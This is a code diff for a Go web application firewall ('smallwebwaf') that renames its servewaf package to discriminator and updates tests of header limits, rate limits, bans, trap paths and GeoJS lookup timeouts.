s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{ s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
@@ -187,7 +187,7 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
{allowed, "/", http.StatusOK, requestlog.ActionForward}, {allowed, "/", http.StatusOK, requestlog.ActionForward},
{exempt, "/", http.StatusOK, requestlog.ActionForward}, {exempt, "/", http.StatusOK, requestlog.ActionForward},
{client, "/static/app.js", http.StatusOK, requestlog.ActionForward}, {client, "/static/app.js", http.StatusOK, requestlog.ActionForward},
{denied, "/", http.StatusForbidden, requestlog.ActionDenied}, {denied, "/", http.StatusForbidden, requestlog.ActionClientDenied},
} { } {
for range 3 { for range 3 {
s.request(sent.from, sent.path, sent.status, sent.action) s.request(sent.from, sent.path, sent.status, sent.action)
@@ -319,7 +319,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
// kept. // kept.
geojsURL, _, release := startHeldGeoJS(t) geojsURL, _, release := startHeldGeoJS(t)
var server atomic.Pointer[servewaf.Server] var server atomic.Pointer[discriminator.Server]
app := startApp(t, func(http.ResponseWriter, *http.Request) { app := startApp(t, func(http.ResponseWriter, *http.Request) {
release() release()
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"fmt" "fmt"
@@ -15,29 +15,29 @@ import (
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
) )
const ( const (
// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time // answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
// servewaf has to answer. // discriminator has to answer.
answerTimeLimit = 2 * time.Second answerTimeLimit = 2 * time.Second
// defaultLookupWait is the default of SWWAF_LOOKUP_TIMEOUT. // defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
defaultLookupWait = 800 * time.Millisecond defaultLookupWait = 800 * time.Millisecond
// The header limits SPEC.md gives. // The header limits SPEC.md gives.
cookieLimit = 50 cookieLimit = 50
headerFieldLimit = 100 headerFieldLimit = 100
// cookieHeader is the header the cookie limit counts. // cookieHeader is the header the cookie limit counts.
cookieHeader = "Cookie" cookieHeader = "Cookie"
// tooLarge is how servewaf refuses a request over the header limits. // tooLarge is how discriminator refuses a request over the header limits.
tooLarge = http.StatusRequestHeaderFieldsTooLarge tooLarge = http.StatusRequestHeaderFieldsTooLarge
// silentAbuseIPDBURL is where AbuseIPDB never answers: at the stand-in // silentAbuseIPDBURL is where AbuseIPDB never answers: at the stand-in
// that unansweredGeoJSURL names too. // that silentGeoJSURL names too.
silentAbuseIPDBURL = "unanswered://abuseipdb/api/v2/check" silentAbuseIPDBURL = "silent://abuseipdb/api/v2/check"
// wholeLimit is the percentage of a rate limit that lowers it not at all. // wholeLimit is the percentage of a rate limit that lowers it not at all.
wholeLimit = 100 wholeLimit = 100
// clientsDecision is the CrowdSec decision list holding client alone. // clientsDecision is the CrowdSec decision list holding client alone.
@@ -56,7 +56,7 @@ func cookies(count int) string {
} }
// fillHeaders adds headers to a question until the checks see total header // fillHeaders adds headers to a question until the checks see total header
// fields: all but ClientHeader and PeerHeader, which servewaf removes. Go's // fields: all but ClientHeader and PeerHeader, which discriminator removes. Go's
// client sends nothing else but Host, which the limit does not count, once // client sends nothing else but Host, which the limit does not count, once
// User-Agent is set. // User-Agent is set.
func fillHeaders(req *http.Request, total int) { func fillHeaders(req *http.Request, total int) {
@@ -70,7 +70,7 @@ func fillHeaders(req *http.Request, total int) {
func TestSixteenThousandCookiesAreRefusedWellWithinTheTimeLimit(t *testing.T) { func TestSixteenThousandCookiesAreRefusedWellWithinTheTimeLimit(t *testing.T) {
t.Parallel() t.Parallel()
s := startServeWAF(t, "", map[string]string{wafMode: block}) s := startDiscriminator(t, "", map[string]string{wafMode: block})
req := s.question(siteA, client, "/") req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000)) req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
@@ -81,16 +81,28 @@ func TestSixteenThousandCookiesAreRefusedWellWithinTheTimeLimit(t *testing.T) {
t.Errorf("answered after %s, want well within %s", took, answerTimeLimit) t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
} }
wantDisposition(t, got, tooLarge, servewaf.DispositionDeny) wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
line := s.out.requestLine(t) line := s.out.requestLine(t)
wantLine(t, line, tooLarge, requestlog.ActionTooLarge) wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
if line.DurationWAF != nil { if line.DurationCoreRuleSetMS != nil {
t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationWAF) t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationCoreRuleSetMS)
} }
} }
func TestHeaderLimitRefusalNamesItsHeuristicCountsAndLimits(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", nil)
req := s.question(siteA, client, "/")
fillHeaders(req, headerFieldLimit+1)
do(t, req)
wantHeuristic(t, s.out.requestLine(t), "header_limits",
`{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`)
}
func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) { func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
t.Parallel() t.Parallel()
@@ -136,7 +148,7 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
s := startServeWAF(t, "", map[string]string{wafMode: block}) s := startDiscriminator(t, "", map[string]string{wafMode: block})
req := s.question(siteA, client, "/") req := s.question(siteA, client, "/")
tc.make(req) tc.make(req)
@@ -144,16 +156,16 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
line := s.out.requestLine(t) line := s.out.requestLine(t)
if tc.refused { if tc.refused {
wantDisposition(t, got, tooLarge, servewaf.DispositionDeny) wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
wantLine(t, line, tooLarge, requestlog.ActionTooLarge) wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
return return
} }
wantDisposition(t, got, http.StatusOK, servewaf.DispositionAllow) wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
wantLine(t, line, http.StatusOK, requestlog.ActionForward) wantLine(t, line, http.StatusOK, requestlog.ActionForward)
if line.DurationWAF == nil { if line.DurationCoreRuleSetMS == nil {
t.Error("the Core Rule Set did not read a request within the limits") t.Error("the Core Rule Set did not read a request within the limits")
} }
}) })
@@ -166,16 +178,16 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
for _, env := range []map[string]string{ for _, env := range []map[string]string{
{wafMode: off}, {wafMode: off},
{wafMode: "detect"}, {wafMode: "detect"},
{wafMode: block, "SWWAF_WAF_EXEMPT_PATHS": "/"}, {wafMode: block, "SWW_WAF_EXEMPT_PATHS": "/"},
} { } {
t.Run(fmt.Sprint(env), func(t *testing.T) { t.Run(fmt.Sprint(env), func(t *testing.T) {
t.Parallel() t.Parallel()
s := startServeWAF(t, "", env) s := startDiscriminator(t, "", env)
req := s.question(siteA, client, "/") req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1)) req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), tooLarge, servewaf.DispositionDeny) wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
}) })
} }
} }
@@ -183,17 +195,17 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) { func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
t.Parallel() t.Parallel()
s := startServeWAF(t, "", map[string]string{wafMode: block, allowNets: client}) s := startDiscriminator(t, "", map[string]string{wafMode: block, allowNets: client})
req := s.question(siteA, client, "/") req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1)) req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), http.StatusOK, servewaf.DispositionAllow) wantDisposition(t, do(t, req), http.StatusOK, discriminator.DispositionAllow)
} }
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) { func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
t.Parallel() t.Parallel()
s := startServeWAF(t, "", map[string]string{mode: observe, wafMode: block}) s := startDiscriminator(t, "", map[string]string{mode: observe, wafMode: block})
req := s.question(siteA, client, "/") req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000)) req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
@@ -204,19 +216,20 @@ func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
t.Errorf("answered after %s, want well within %s", took, answerTimeLimit) t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
} }
wantDisposition(t, got, http.StatusOK, servewaf.DispositionAllow) wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
line := s.out.requestLine(t) line := s.out.requestLine(t)
if line.WouldAction != requestlog.ActionTooLarge || line.DurationWAF != nil { if line.WouldAction != requestlog.ActionRequestHeaderTooLarge ||
t.Errorf("would_action %q and duration_waf %v, want %q and none", line.DurationCoreRuleSetMS != nil {
line.WouldAction, line.DurationWAF, requestlog.ActionTooLarge) t.Errorf("would_action %q and duration_core_rule_set_ms %v, want %q and none",
line.WouldAction, line.DurationCoreRuleSetMS, requestlog.ActionRequestHeaderTooLarge)
} }
} }
func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) { func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
t.Parallel() t.Parallel()
s := startServeWAF(t, "", map[string]string{rateLimitPerMinute: "1"}) s := startDiscriminator(t, "", map[string]string{rateLimitPerMinute: "1"})
ask := func() answer { ask := func() answer {
req := s.question(siteA, client, "/") req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1)) req.Header.Set(cookieHeader, cookies(cookieLimit+1))
@@ -224,11 +237,11 @@ func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
return do(t, req) return do(t, req)
} }
wantDisposition(t, ask(), tooLarge, servewaf.DispositionDeny) wantDisposition(t, ask(), tooLarge, discriminator.DispositionDeny)
wantDisposition(t, ask(), http.StatusForbidden, servewaf.DispositionDeny) wantDisposition(t, ask(), http.StatusForbidden, discriminator.DispositionDeny)
lines := s.out.requestLines(t, 2) lines := s.out.requestLines(t, 2)
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionRateLimited) wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionClientIsRateLimited)
} }
func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) { func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
@@ -237,19 +250,19 @@ func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
for _, tc := range []struct { for _, tc := range []struct {
name, path, action string name, path, action string
}{ }{
{"a trap path", "/wp-login.php", requestlog.ActionBanned}, {"a trap path", "/wp-login.php", requestlog.ActionTemporarilyBanned},
{"a block rule", "/blocked", requestlog.ActionRuleBlocked}, {"a block rule", "/blocked", requestlog.ActionBlockedByBlockRule},
} { } {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
s := startServeWAF(t, "", map[string]string{ s := startDiscriminator(t, "", map[string]string{
trapPaths: trapPathList, rulesDir: writeRules(t, testRules), trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
}) })
req := s.question(siteA, client, tc.path) req := s.question(siteA, client, tc.path)
req.Header.Set(cookieHeader, cookies(cookieLimit+1)) req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), http.StatusForbidden, servewaf.DispositionDeny) wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action) wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
}) })
} }
@@ -259,30 +272,30 @@ func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
t.Parallel() t.Parallel()
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s := startServeWAF(t, geojsURL, map[string]string{ s := startDiscriminator(t, geojsURL, map[string]string{
unknownLimitPercent: "0", lookupTimeout: "1h", unknownLimitPercent: "0", lookupTimeout: "1h",
}) })
req := s.question(siteA, fromDE, "/") req := s.question(siteA, fromDE, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1)) req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), tooLarge, servewaf.DispositionDeny) wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
line := s.out.requestLine(t) line := s.out.requestLine(t)
wantLine(t, line, tooLarge, requestlog.ActionTooLarge) wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
if line.LimitPercent != nil { if line.RateLimitPercent != nil {
t.Errorf("limit percentage %d, want none", *line.LimitPercent) t.Errorf("limit percentage %d, want none", *line.RateLimitPercent)
} }
// The client is under no ban, and GeoJS places it in a country. // The client is under no ban, and GeoJS places it in a country.
wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, servewaf.DispositionAllow) wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, discriminator.DispositionAllow)
} }
func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) { func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
t.Parallel() t.Parallel()
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s := startServeWAF(t, geojsURL, map[string]string{unknownLimitPercent: "0"}) s := startDiscriminator(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
s.server.GeoJS.Load([]lookup.Answer{{ s.server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512", Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
Answered: s.clock.Now(), Used: s.clock.Now(), Answered: s.clock.Now(), Used: s.clock.Now(),
@@ -291,22 +304,23 @@ func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T
req := s.question(siteA, client, "/") req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1)) req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), http.StatusForbidden, servewaf.DispositionDeny) wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
wantLine(t, s.out.requestLine(t), http.StatusForbidden, requestlog.ActionRateLimited) wantLine(t, s.out.requestLine(t), http.StatusForbidden,
requestlog.ActionClientIsRateLimited)
} }
func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) { func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
t.Parallel() t.Parallel()
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s := startServeWAF(t, geojsURL, map[string]string{ s := startDiscriminator(t, geojsURL, map[string]string{
mode: observe, addLookupHeaders: on, lookupTimeout: "1h", mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
}) })
req := s.question(siteA, fromDE, "/") req := s.question(siteA, fromDE, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1)) req.Header.Set(cookieHeader, cookies(cookieLimit+1))
got := do(t, req) got := do(t, req)
wantDisposition(t, got, http.StatusOK, servewaf.DispositionAllow) wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country") asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
if asn != asnDE || country != "DE" { if asn != asnDE || country != "DE" {
@@ -315,18 +329,18 @@ func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
} }
} }
// newServeWAFInBubble makes a servewaf for a synctest bubble: GeoJS never // newDiscriminatorInBubble makes a discriminator for a synctest bubble: GeoJS never
// answers, a setting needs its answer, and everything is at its default but // answers, a setting needs its answer, and everything is at its default but
// for env. No request to it may use the network. // for env. No request to it may use the network.
func newServeWAFInBubble( func newDiscriminatorInBubble(
t *testing.T, env map[string]string, t *testing.T, env map[string]string,
) (*servewaf.Server, *output) { ) (*discriminator.Server, *output) {
t.Helper() t.Helper()
settings := map[string]string{deniedCountries: "KP"} settings := map[string]string{tagDeny: "country=KP"}
maps.Copy(settings, env) maps.Copy(settings, env)
server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now, settings) server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now, settings)
return server, out return server, out
} }
@@ -334,13 +348,13 @@ func newServeWAFInBubble(
// askDirectly hands a question about a request from client straight to server, // askDirectly hands a question about a request from client straight to server,
// as change leaves it, and returns the answer's status and how long it took. // as change leaves it, and returns the answer's status and how long it took.
func askDirectly( func askDirectly(
t *testing.T, server *servewaf.Server, change func(*http.Request), t *testing.T, server *discriminator.Server, change func(*http.Request),
) (int, time.Duration) { ) (int, time.Duration) {
t.Helper() t.Helper()
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody) req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234") req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
req.Header.Set(servewaf.ClientHeader, client) req.Header.Set(discriminator.ClientHeader, client)
req.Header.Set(requestIDHeader, "the-id") req.Header.Set(requestIDHeader, "the-id")
change(req) change(req)
@@ -353,17 +367,17 @@ func askDirectly(
} }
// banClient bans client at now. // banClient bans client at now.
func banClient(_ *testing.T, server *servewaf.Server, now time.Time) { func banClient(_ *testing.T, server *discriminator.Server, now time.Time) {
server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{}) server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
} }
// countClient counts one request from client at now for the rate limits. // countClient counts one request from client at now for the rate limits.
func countClient(_ *testing.T, server *servewaf.Server, now time.Time) { func countClient(_ *testing.T, server *discriminator.Server, now time.Time) {
server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit) server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
} }
// listClient puts client on the blocklist at dropURL. // listClient puts client on the blocklist at dropURL.
func listClient(t *testing.T, server *servewaf.Server, now time.Time) { func listClient(t *testing.T, server *discriminator.Server, now time.Time) {
t.Helper() t.Helper()
err := server.Lists.Load([]reputation.List{{ err := server.Lists.Load([]reputation.List{{
@@ -375,13 +389,13 @@ func listClient(t *testing.T, server *servewaf.Server, now time.Time) {
} }
// decideOnClient puts client on the CrowdSec decision list. // decideOnClient puts client on the CrowdSec decision list.
func decideOnClient(t *testing.T, server *servewaf.Server, now time.Time) { func decideOnClient(t *testing.T, server *discriminator.Server, now time.Time) {
t.Helper() t.Helper()
loadDecisions(t, server, now, clientsDecision) loadDecisions(t, server, now, clientsDecision)
} }
// leaveAsItIs prepares nothing. // leaveAsItIs prepares nothing.
func leaveAsItIs(*testing.T, *servewaf.Server, time.Time) {} func leaveAsItIs(*testing.T, *discriminator.Server, time.Time) {}
func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) { func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
t.Parallel() t.Parallel()
@@ -392,41 +406,45 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
name string name string
env map[string]string env map[string]string
// prepare gets the server ready, at now, before the question. // prepare gets the server ready, at now, before the question.
prepare func(t *testing.T, server *servewaf.Server, now time.Time) prepare func(t *testing.T, server *discriminator.Server, now time.Time)
// cookie is the request's Cookie header. // cookie is the request's Cookie header.
cookie string cookie string
status int status int
action string action string
}{ }{
{ {
name: "SWWAF_DENY_NETS", env: map[string]string{denyNets: client}, name: "SWW_DENY_NETS", env: map[string]string{denyNets: client},
prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionDenied, prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionClientDenied,
}, },
{ {
name: "a ban", name: "a ban",
prepare: banClient, status: forbidden, action: requestlog.ActionBanned, prepare: banClient, status: forbidden, action: requestlog.ActionTemporarilyBanned,
}, },
{ {
name: "the rate limits", env: map[string]string{rateLimitPerMinute: "1"}, name: "the rate limits", env: map[string]string{rateLimitPerMinute: "1"},
prepare: countClient, status: forbidden, action: requestlog.ActionRateLimited, prepare: countClient, status: forbidden,
action: requestlog.ActionClientIsRateLimited,
}, },
{ {
name: "the rate limits, with a biased threshold", name: "the rate limits, with a biased threshold",
env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"}, env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
prepare: countClient, status: forbidden, action: requestlog.ActionRateLimited, prepare: countClient, status: forbidden,
action: requestlog.ActionClientIsRateLimited,
}, },
{ {
name: "a blocklist", env: map[string]string{blocklistURLs: dropURL}, name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
prepare: listClient, status: forbidden, action: requestlog.ActionDenied, prepare: listClient, status: forbidden, action: requestlog.ActionClientDenied,
}, },
{ {
name: "the CrowdSec decision list", name: "the CrowdSec decision list",
env: map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey}, env: map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
prepare: decideOnClient, status: forbidden, action: requestlog.ActionBanned, prepare: decideOnClient, status: forbidden,
action: requestlog.ActionTemporarilyBanned,
}, },
{ {
name: "the header limits", cookie: cookies(cookieLimit + 1), name: "the header limits", cookie: cookies(cookieLimit + 1),
prepare: leaveAsItIs, status: tooLarge, action: requestlog.ActionTooLarge, prepare: leaveAsItIs, status: tooLarge,
action: requestlog.ActionRequestHeaderTooLarge,
}, },
} { } {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
@@ -435,7 +453,7 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, so that a request that does not wait takes no time at all. // says, so that a request that does not wait takes no time at all.
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
server, out := newServeWAFInBubble(t, tc.env) server, out := newDiscriminatorInBubble(t, tc.env)
tc.prepare(t, server, time.Now()) tc.prepare(t, server, time.Now())
status, took := askDirectly(t, server, func(req *http.Request) { status, took := askDirectly(t, server, func(req *http.Request) {
@@ -463,7 +481,7 @@ func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
name string name string
env map[string]string env map[string]string
// prepare gets the server ready, at now, before the question. // prepare gets the server ready, at now, before the question.
prepare func(t *testing.T, server *servewaf.Server, now time.Time) prepare func(t *testing.T, server *discriminator.Server, now time.Time)
status int status int
action string action string
}{ }{
@@ -492,7 +510,7 @@ func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
server, out := newServeWAFInBubble(t, tc.env) server, out := newDiscriminatorInBubble(t, tc.env)
tc.prepare(t, server, time.Now()) tc.prepare(t, server, time.Now())
status, took := askDirectly(t, server, func(*http.Request) {}) status, took := askDirectly(t, server, func(*http.Request) {})
@@ -508,7 +526,9 @@ func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
} }
} }
func TestServeWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(t *testing.T) { func TestDiscriminatorAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
t *testing.T,
) {
t.Parallel() t.Parallel()
held, askedGeoJS, _ := startHeldGeoJS(t) held, askedGeoJS, _ := startHeldGeoJS(t)
@@ -521,12 +541,14 @@ func TestServeWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(t *testin
t.Cleanup(func() { _ = resolver.Close() }) t.Cleanup(func() { _ = resolver.Close() })
server, out, _ := newServeWAFWith(t, func(params servewaf.Params) *servewaf.Server { server, out, _ := newDiscriminatorWith(t, func(
params discriminator.Params,
) *discriminator.Server {
params.AbuseIPDBURL = silentAbuseIPDBURL params.AbuseIPDBURL = silentAbuseIPDBURL
return servewaf.New(params) return discriminator.New(params)
}, held, time.Now, map[string]string{ }, held, time.Now, map[string]string{
deniedCountries: "KP", wafMode: block, tagDeny: "country=KP", wafMode: block,
dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(), dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(),
abuseIPDBKey: accountKey, abuseIPDBKey: accountKey,
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt", blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
@@ -1,7 +1,10 @@
package servewaf package discriminator
// The heuristic active_ban, and the code that makes bans, which several
// heuristics share. active_ban reads SWW_MODE; the bans are the ban ledger's.
import ( import (
"net/http" "context"
"net/netip" "net/netip"
"time" "time"
@@ -12,17 +15,21 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged // banResponse is a refusal answered with SWW_BAN_RESPONSE, and logged
// with action. // with action.
func (rq *request) banResponse(action string) *refusal { func (rq *request) banResponse(action string) *refusal {
return &refusal{status: rq.h.config.BanResponse, action: action} return &refusal{status: rq.h.config.BanResponse, action: action}
} }
// banned reports whether a ban on a netblock the client is in covers the // activeBan refuses a client a ban covers: a ban on a netblock the client is
// request at now, and notes for the log line when that ban ends. A // in, in force at now. It notes for the log line when that ban ends. A request
// request that makes the ban permanent, or in observe mode would have, // that makes the ban permanent, or in observe mode would have, raises the alert
// raises the alert for it. // for it. Its figures are the ban's netblock and when it ends.
func (rq *request) banned(now time.Time) bool { type activeBan struct{}
func (activeBan) name() string { return "active_ban" }
func (activeBan) check(_ context.Context, rq *request, now time.Time) *verdict {
check := rq.h.ledger.Check check := rq.h.ledger.Check
if rq.h.config.Observe { if rq.h.config.Observe {
check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is
@@ -38,90 +45,39 @@ func (rq *request) banned(now time.Time) bool {
rq.alertBan(ban) rq.alertBan(ban)
} }
return banned if !banned {
return nil
} }
// limitBroken counts the request for the rate limits at now, notes the return &verdict{
// client's counts for the log line, and reports whether the request takes action: banAction(ban.Permanent()),
// the client over a rate limit, as its limit percentage lowers it, which figures: map[string]any{
// breaks it. figureNetblock: ban.Netblock.String(), "ban_expires": rq.line.BanExpires,
func (rq *request) limitBroken(now time.Time) bool { },
counts, hit, over := rq.h.limiter.Count(rq.h.clientGroup(rq.client), now,
rq.limitPercent.percent)
rq.line.Counts = counts
if over {
rq.banForLimit(now, hit, rq.h.config.BanResponse)
}
return over
}
// countBytes counts the request's bytes, as countedBytes gives them, for
// the byte limits, once its report has come, and notes the client's byte totals
// for the log line; its requests stay there as the rate limits counted them.
// Only an allowed request has them counted, and only one the rate limits
// counted; in observe mode, not one that enforce mode would have refused. Bytes
// that take the client over a byte limit, as its limit percentage for the byte
// limits lowers it, break it; the response was passed on whole.
func (rq *request) countBytes() {
if !rq.counted || rq.line.WouldAction != "" {
return
}
now := rq.h.now()
counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
rq.countedBytes(), rq.bytesPercent.percent)
rq.line.Counts.MinuteBytes = counts.MinuteBytes
rq.line.Counts.HourBytes = counts.HourBytes
rq.line.Counts.DayBytes = counts.DayBytes
if over {
rq.banForLimit(now, hit, rq.out.status)
} }
} }
// countRefusal counts the request for the error burst once it has been // banAction is the action of a request refused under a ban or for making one:
// answered, if servewaf refused it after a rule file match, a trap path or a // permanent says the ban never runs out.
// Core Rule Set match, and in observe mode if enforce mode would have: more than func banAction(permanent bool) string {
// SWWAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute if permanent {
// break a limit. A client in SWWAF_ALLOW_NETS, which the checks skip, is return requestlog.ActionPermanentlyBanned
// not counted, and nothing is while the threshold is off.
func (rq *request) countRefusal() {
cfg := rq.h.config
if cfg.ErrorBurstThreshold == 0 {
return
} }
if !rq.attack && !rq.ruleBlocked && !rq.wafBlocked { return requestlog.ActionTemporarilyBanned
return
} }
now := rq.h.now() // limitFigures are the figures of a heuristic that broke hit, a limit: its
// window, the count and the limit.
